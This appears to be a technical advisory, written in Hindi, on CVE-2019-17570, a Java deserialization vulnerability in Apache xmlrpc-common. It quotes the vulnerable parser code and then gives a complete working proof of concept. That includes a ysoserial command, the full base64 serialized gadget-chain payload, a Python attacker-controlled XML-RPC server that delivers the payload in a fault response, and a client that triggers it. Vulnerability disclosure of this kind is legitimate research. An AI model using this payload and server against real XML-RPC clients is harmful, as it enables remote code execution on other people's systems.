
CVE-2019-17570 का तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Apache xmlrpc-common में Java डिसीरियलाइज़ेशन भेद्यता जो दुर्भावनापूर्ण XML-RPC सर्वर प्रतिक्रियाओं के माध्यम से दूरस्थ कोड निष्पादन सक्षम करती है।
यह नोट एक तकनीकी नोट है जो मूल कारण और संबंधित शोषण का विवरण देता है। आप प्रारंभिक प्रकटीकरण यहाँ पा सकते हैं। संबंधित CVE CVE-2019-17570 है।
xmlrpc-common xmlrpc-client और xmlrpc-server के बीच एक साझा कोड आधार बनाता है। org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object) विधि में एक डिसीरियलाइज़ेशन भेद्यता की पहचान की गई है। यह एक हमलावर नियंत्रित xmlrpc सर्वर को एक दुर्भावनापूर्ण xmlrpc उत्तर भेजने में सक्षम बनाता है, जो xmlrpc क्लाइंट में रिमोट कोड निष्पादन को ट्रिगर करेगा।
डिसीरियलाइज़ेशन xmlrpc दोषों के उपयोग से ट्रिगर होता है, जिसमें faultCause हो सकता है। इस नोड की सामग्री को बाइट सरणी के रूप में संसाधित किया जाता है, बाद में readObject() का उपयोग करके जावा ऑब्जेक्ट में डिसीरियलाइज़ किया जाता है:
protected void addResult(Object pResult) throws SAXException {
if (isSuccess) {
super.setResult(pResult);
} else {
Map map = (Map) pResult;
Integer faultCode = (Integer) map.get("faultCode");
if (faultCode == null) {
throw new SAXParseException("Missing faultCode", getDocumentLocator());
}
try {
errorCode = faultCode.intValue();
} catch (NumberFormatException e) {
throw new SAXParseException("Invalid faultCode: " + faultCode,
getDocumentLocator());
}
errorMessage = (String) map.get("faultString");
Object exception = map.get("faultCause");
if (exception != null) {
try {
byte[] bytes = (byte[]) exception;
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
errorCause = (Throwable) ois.readObject();
ois.close();
bais.close();
} catch (Throwable t) {
// Ignore me
}
}
}
}
यह भेद्यता CVE-2016-5003 से भिन्न है, जो डिसीरियलाइज़ेशन को ट्रिगर करने के लिए ex:serialized प्रकार का शोषण करता है। यह नई भेद्यता xmlrpc-common को उसके डिफ़ॉल्ट कॉन्फ़िगरेशन में भी प्रभावित करती है, भले ही एक्सटेंशन अक्षम हो।
जबकि भेद्यता xmlrpc-common में है, शोषण के लिए रिमोट कोड निष्पादन प्राप्त करने के लिए गैजेट्स श्रृंखला के उपयोग की आवश्यकता होती है। गैजेट्स श्रृंखला क्लासपाथ में उपलब्ध वर्गों पर निर्भर करती है। प्रदर्शन उद्देश्यों के लिए, हमारे प्रूफ-ऑफ-कॉन्सेप्ट ने क्लासपाथ में Apache commons-collections-3.2.1 जोड़ा है, और ysoserial का उपयोग करके गैजेट्स श्रृंखला उत्पन्न की गई है।
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
एक हमलावर xmlrpc-common के संवेदनशील संस्करणों का उपयोग करने वाले xmlrpc क्लाइंट के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
हमारा प्रूफ ऑफ कॉन्सेप्ट जानबूझकर लिखे गए एक xmlrpc परीक्षण क्लाइंट और एक हमलावर नियंत्रित xmlrpc सर्वर का उपयोग करता है।
इस सर्वर का मुख्य उद्देश्य संवेदनशील क्लाइंट को सीरियलाइज़्ड पेलोड वितरित करना है। सीरियलाइज़्ड पेलोड का उपयोग करके बनाया गया है:
$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
सर्वर स्वयं काफी सरल है, और मुख्य रूप से इसमें शामिल है:
def create_fault_deser(payload):
return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1337</int></value>
</member>
<member>
<name>faultString</name>
<value><string>You have been pwned</string></value>
</member>
<member>
<name>faultCause</name>
<value><base64>%s</base64></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
''' % (payload)
class Handler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))
httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()
ऊपर उपयोग किया गया PING_COMMONS_COLLECTIONS चर ysoserial कमांड के आउटपुट पर सेट है।
हमारा परीक्षण क्लाइंट स्रोत है:
package poc.xmlrpcdeser;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
public class VulnerableClient {
public static void main(String[] args) throws MalformedURLException, XmlRpcException {
String domainName = "http://127.0.0.1:8888";
String serverurl = domainName + "/RPC2";
XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
config.setServerURL(new URL(serverurl));
XmlRpcClient client = new XmlRpcClient();
client.setConfig(config);
Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
Object result = (Object) client.execute("xmlrpc-api", params);
}
}
make का उपयोग करके संकलित करने के बाद, का उपयोग करके कोड निष्पादन को ट्रिगर करें:
$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar